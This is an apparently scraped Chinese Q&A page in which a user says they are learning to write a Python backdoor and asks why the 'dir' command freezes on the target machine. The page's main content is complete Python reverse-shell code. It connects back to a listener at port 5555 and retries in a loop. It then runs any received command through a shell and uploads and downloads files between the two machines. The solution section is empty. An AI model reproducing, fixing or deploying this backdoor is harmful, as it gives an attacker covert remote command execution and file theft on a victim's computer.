python - 系统命令未在 python 中列出目录
问题描述
我正在学习如何在python中创建后门程序,当我执行程序时目标机器必须连接回来并且我必须能够在目标机器上运行系统命令,以下命令有效,ipconfig和whomai,但dir命令不是当我尝试在目标机器上执行它时工作,我正在使用 python 解释器 3.9 运行代码,在目标机器上执行 dir sysytem 命令时代码冻结。
import socket
import time
import subprocess
import json
import os
def reliable_send(data):
jsondata = json.dumps(data)
s.send(jsondata.encode())
def reliable_recv():
data = ''
while True:
# try:
data = data + s.recv(1024).decode().rstrip()
return json.loads(data)
# except ValueError:
# continue
def connection():
while True:
time.sleep(20)
try:
s.connect(('127.0.0.1',5555))
shell()
s.close()
break
except:
connection()
def upload_file(file_name):
f = open(file_name, 'rb')
s.send(f.read())
def download_file(file_name):
f = open(file_name, 'wb')
s.settimeout(1)
chunk = s.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = s.recv(1024)
except socket.timeout as e:
break
s.settimeout(None)
f.close()
def shell():
while True:
command = reliable_recv()
if command == 'quit':
break
elif command == 'clear':
pass
elif command[:3] == 'cd ':
os.chdir(command[3:])
elif command[:8] == 'download':
upload_file(command[9:])
elif command[:6] == 'upload':
download_file(command[7:])
else:
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
reliable_send(result)`enter code here`
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()
解决方案
推荐阅读
- java - spring-boot application.properties 问题-bug
- vba - 这段代码会重复一个值吗?我需要一个永远不会重复且不需要存储变量的数字
- caching - 我可以在 JMeter 聚合报告中包含带有缓存响应的请求吗
- dart - 弹出第二页后触发FirstPage的setState方法
- angular - 恢复动态生成的组件
- c# - 实现通用 Max 方法时出错
- java - Java中的“私有静态最终”是什么意思?
- pyspark - 在 PySpark 中给出 Null 的 DateType() 定义?
- ios - 如何通过有线或蓝牙将数据从本机反应发送到任何用户的计算机?
- verilog - 可合成代码的verilog编码风格